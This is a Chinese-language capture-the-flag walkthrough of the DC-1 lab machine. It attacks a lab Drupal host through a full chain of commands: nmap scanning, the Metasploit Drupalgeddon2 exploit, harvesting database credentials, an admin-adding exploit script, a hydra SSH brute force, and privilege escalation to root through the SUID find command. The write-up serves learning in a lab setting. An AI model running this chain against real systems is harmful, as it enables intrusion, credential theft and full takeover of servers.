1. 程式人生 > 其它 >【DC】DC-1

【DC】DC-1

kali:192.168.223.131
target:192.168.223.155

由於放在同一個虛擬機器下預設在內網,但DC系列沒有告訴我們IP地址,需要掃一下

arp-scan -l

發現IP地址為192.168.223.155,之後nmap掃描埠

nmap -sV -p- 192.168.223.155
-sV:探測開啟的埠來獲取服務、版本資訊
-p-:全部1-65535埠

此時探測出的埠如圖,先瀏覽一下80埠

Drupal是一個很出名的CMS,我們可以使用msfconsole進行漏洞搜尋

如果msf打不開可以msfdb init進行初始化

msfconsole
//搜尋Drupal漏洞一共多少種
search Drupal

經過測試,序號1的漏洞有效,可以進行API注入

use exploit/unix/webapp/drupal_drupalgeddon2

使用該漏洞後自動使用一個php的攻擊載荷,看一下我們的選項

show options

這裡顯示只要再配置一個RHOSTS即可

set rhosts 192.168.223.155
exploit

此時msf自動尋找漏洞,同時目標上線,此時shell拿到許可權,ls檢視資料夾獲得flag1

此時通過百度可知,Drupal的CMS有個關鍵目錄,預設在/var/www/sites/default/settings.php ,發現是mysql資料庫使用者名稱和密碼為dbuser和R0ck3t,以及flag2

cat /var/www/sites/default/settings.php

在此之前,習慣性的美化一下介面

python -c 'import pty;pty.spawn("/bin/bash")'

通過mysql進行連線

mysql -udbuser -pR0ck3t

進入後一直找到admin使用者儲存資料的表

show databases;
use drupaldb;
show tables;
select * from users

此時有兩種方法進行後續操作

方法一:在資料庫建立管理員級別的使用者

需要是在Linux平臺下搭建的drupal

Linux平臺下的drupal在密碼忘記時用php執行目錄,可以使用drupal的密碼生成工具自動生成密碼

php scripts/password-hash.sh [密碼]

退出mysql來生成,生成後再進去

此時通過改命令將管理員賬號的密碼修改成自己的

update users set pass='[密碼的hash值]' where name='admin';

自定義密碼為haha123,hash值為$S$D5cRz.3zYu7y0H2gazZbofPi9YPj1VV0Cl9P0j1OsaMqq2IbJQln

方法二:用漏洞建立一個使用者

在漏洞列表中尋找漏洞,找到一個Add Admin User的payload

searchsploit drupal

退出msf後利用漏洞

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.223.155 -u [使用者名稱] -p [密碼]

此時用上面兩種方法登陸到後臺,拿到flag3

這時檢視一下/etc/passwd,發現有一個flag4的使用者,而/etc/shadow則沒有許可權訪問

使用hydra進行密碼破解,拿到flag4使用者的密碼是orange

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt 192.168.223.155 ssh 

用ssh進行連線,拿到flag4

ssh [email protected]

通過flag4的提示,看起來第五個flag要root許可權,檢視一下/root裡面有什麼

find /root

Linux提權命令,發現有什麼東西可以以root許可權執行,找到/usr/bin/find命令

find / -perm -u=s -type f 2>/dev/null

建立一個檔案,同時在查詢的同時執行/bin/sh,拿到第五個flag

touch haha
find / -name haha -exec "/bin/sh" \;

這裡是利用find命令可以執行root許可權進行Linux提權,記下來就行